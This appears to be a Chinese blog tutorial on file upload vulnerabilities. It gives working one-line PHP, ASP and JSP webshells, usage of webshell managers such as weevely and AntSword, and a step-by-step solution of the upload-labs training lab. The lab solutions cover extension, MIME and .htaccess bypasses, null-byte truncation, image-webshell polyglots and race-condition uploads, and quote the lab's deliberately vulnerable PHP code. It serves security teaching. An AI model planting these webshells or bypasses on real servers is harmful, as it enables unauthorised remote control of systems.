文件上传漏洞

目录

1.基本介绍

1.1PHP代码文件上传

1.2 一句话木马

2、网络控制工具

2.1中国蚁剑

2.2 weevely

2.3 哥斯拉godzilla

2.3.1 基于JDK8

2.4 冰蝎 behinder

3.漏洞发现与利用

4.文件上传防御

4.1 限制文件类型

4.2 文件重命名、隐藏路径

4.3 限制文件执行权限

5,upload-labs

5.1 P1

5.2 P2 

​编辑 补充:MIME

1.用法

5.3 P3

5.4 P4

5.5 P5

5.6 P6 

5.7 P7

5.8  P8

5.9 P9

5.10 P10

5.11 P11

5.12 P12

 5.13 P13

 5.14 P14

5.15 P15

5.16 P16

5.17 P17

5.18 P18

5.19 P19

 5.20 P20

 5.21  P21


(一)文件上传漏洞原理

        在编写程序时候对用户上传的文件没有做好防护和过滤或处理异常,致使用户越权向服务器上传可执行的动态脚本文件,上传的文件可以是木马,病毒,恶意脚本或者WebShell等恶意语句,最终达成自己所需的目的。文件上传功能本身没有问题,问题在于上传后如何处理及解释文件。

触发点:

  • 相册、头像上传
  • 视频、照片上传或分享
  • 附件上传(论坛发帖、邮箱)
  • 文件管理器
  • CMS框架类:已知源码
  • 编辑器类:cheditor、fckeditor、kindetior等
  • 其他类/CVE:代码审计、第三方平台或应用

1. PHP代码文件上传

  • multipart/form-data
  • move_uploaded_file

2. 一句话木马

  • <?php @eval($_POST['xiaowei']);?>
  • $_POST      获得POST请求的参数值
  • eval       执行代码

  • system      执行系统命令
  • payload       xiaowei=system(ipconfig);        xiaowei=system("tree c:\\");

(二)Webshell介绍

Webshell是通 过服务器开放的端口获取服务器的某些权限
  • 一句话木马
代码短,只有一行代码。 场景多,可以单独生成文件,也可以插入到图片中,安全性高,隐匿性强,可变形免杀
  • 小马
体积小,功能少。只有文件上传功能。
  • 大马
体积大,功能全。能够管理数据库、文件管理、 对站点进行快速的信息收集,甚至能够提权。

工具:https://github.com/tennc/webshell

常见一句话木马

php

<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>


asp

<%eval request ("value")%>
<% execute(request("value")) %>


jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

1. 中国蚁剑

        中国蚁剑是一款开源的跨平台网站管理工具,也是一款webshell管理工具,它主要面向与合法授权的渗透测试安全人员以及进行常规操作的网站管理员

下载地址:

  • https://github.com/AntSwordProject/ AntSword-Loader
  • https://github.com/AntSwordProject/ antSword/

我当时配置的时候出现了很多问题,网上都有解决方法,这里不再赘述。

2. weevely

https://github.com/epinna/weevely3
用法
  • weevely generate xiaowei weevely.php
  • sz file weevely.php
  • weevely http://192.168.0.134/weevely.phpxiaowei

3. 哥斯拉godzilla

https://github.com/BeichenDream/Godzilla

2.3.1 基于JDK8

 java -jar Godzilla.jar

4. 冰蝎behinder

  • https://github.com/rebeyond/Behinder/ releases
  • shellserver目录
  • 密码:rebeyond

(三)漏洞发现与利用

1、找到上传的功能

2 、尝试绕过校验,上传文件
3 、获得文件位置
4 、蚁剑连接,管理文件

产生上传漏洞原因:

  • MIMETYPE(文件的类型) 没有做检查
  • 上传的文件目录存在可执行权限
  • 对行为没有做任何限制

补充:

在请求头中Content-Type:type/subtype来表明类型

text/plain
text/html
image/jpeg
image/jpg
image/png
audio/mpeg
audio/ogg
audio/*
video/mp4
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

(四).文件上传防御

        文件上传过程中检测部分由客户端javascript检测、服务端Content-Type类型检测、服务端path参数检测、服务端文件扩展名检测、服务端内容检测组成。这些检测并不是十分的完善,都能够找到办法进行绕过。

4.1 限制文件类型

  • 前端后端
  • 白名单黑名单
  • MIME类型
  • 扩展名
  • 文件头
  • 二次渲染
  • 大小写处理
  • 特殊符号删除

4.2 文件重命名、隐藏路径

防止源码泄露代码审计

4.3 限制文件执行权限

例如linux下的权限说明,drwxrwxrw- owner group others

5,upload-labs

https://github.com/c0ny1/upload-labs

先要有phpstudy环境,建议5.2.17,然后把解压后的文件放在www文件下面就可以了

5.1 P1

查看源码

 可知为js校验,故可以禁用(修改浏览器配置)或者删除JS 

5.2 P2 

 补充:MIME

Multipurpose Internet Mail Extensions

MIME描述
text/htmlHTML格式
application/jsonJSON数据格式
multipart/form-data

文件上传

image/jpegjpg图片格式

1.用法

客户端使用:
1、GET请求不需要这个字段。
2、POST 请求头 ,放在 Content Type 字段用来指定上传的
文件类型,方便服务器解析。放在 Accept ,告诉服务端允许
接收的响应类型。比如只能接收json或者其他。
服务端使用:
1、放在 响应头 里面, Content Type 告诉客户端响应的数据
类型,方便客户端解析。
先把前端onsubmit字段删除,后用BP抓包,

 改下面的文件上传类型,image/jpeg放包即可

5.3 P3

 查看源码可知为黑名单,但是array中的扩展名不全

language 

equivalence
aspasa,cer,cdx
aspxashx,asmx,ascx
phpphp2,php3,php4,php5,phps,phtml
jspjspx,jspf

5.4 P4

 以上题不同的是等价名行不通了

补充:

Hypertext Access(超文本入口)

   .htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。 通过.htaccess 文件,可以实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者 目录的访问、禁止目录列表、配置默认文档等功能
.htaccess绕过
 <FilesMatch "a.jpg"> 
        SetHandler application/x-httpd-php
 </FilesMatch>

5.5 P5

5.6 P6 

 没有统一大小写,大小写绕过

5.7 P7

 没有空格限制,故可以抓包,末尾加空格(window规定末尾不可以有空格或点.)

5.8  P8

 没有删除末尾的.,同上

5.9 P9

 没有去除字符串,同上在 filename后添加::$DATA

5.10 P10

 代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过

5.11 P11

 黑名单删除,可以双写绕过pphphp

5.12 P12

Content-Disposition:
作为对下载文件的一个标识字段

 

 文件名截断:

截断字符:chr(0) ,类似于C++的"\0"

filename = test.php%00.png       ===      test.php

URL  encodeASCII  value
%000

把shell.png过滤掉

 

 5.13 P13

把2b改为16进制的00

 

 5.14 P14

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

 头文件

1、 png 图片文件包括8字节:89504E47 OD 0A1A0A。即为. PNG 。

2、 jpg 图片文件包括2字节: FF D8。
3、 gif 图片文件包括6字节:47494638393761。即为GIF89(7) a 。
4、 bmp 图片文件包括2字节:424D。即为 BM 。
5、. class 文件的文件头: ca fe ba be

制作图片马​​

  • copy huaji.gif /b + shell.php /a shell.gif(window)
  • cat huaji.jpg shell.php > shell.jpg(linux)

文件包含漏洞

http://localhost/upload-labs/ include.php ? file=upload/2120211019235856.gif

5.15 P15

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

PHP: getimagesize - Manual

同上制作图片马

5.16 P16

 PHP: exif_imagetype - Manual

 exif_imagetype          继续使用图片马

(PHP TS 7.4.22 启用 php_exif 扩展)

5.17 P17

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

basename

PHP: basename - Manual

 PHP: imagecreatefromjpeg - Manual

制作不会被去掉代码的图片马 upload-labs之pass 16详细分析 - 先知社区

5.18 P18

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

 条件竞争

 不产生padload,并且不断访问,直到D:\phpstudy_pro\WWW\upload-labs\upload产生.php代码。

5.19 P19

/index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

  •  Intruder并发上传
  • 直到得到一个未被重命名的文件

 5.20 P20

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
修改文件名

move_uploaded_file漏洞,如果加/. 可以自动忽略

 5.21  P21

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

数字绕过


版权声明:本文为m0_61506558原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。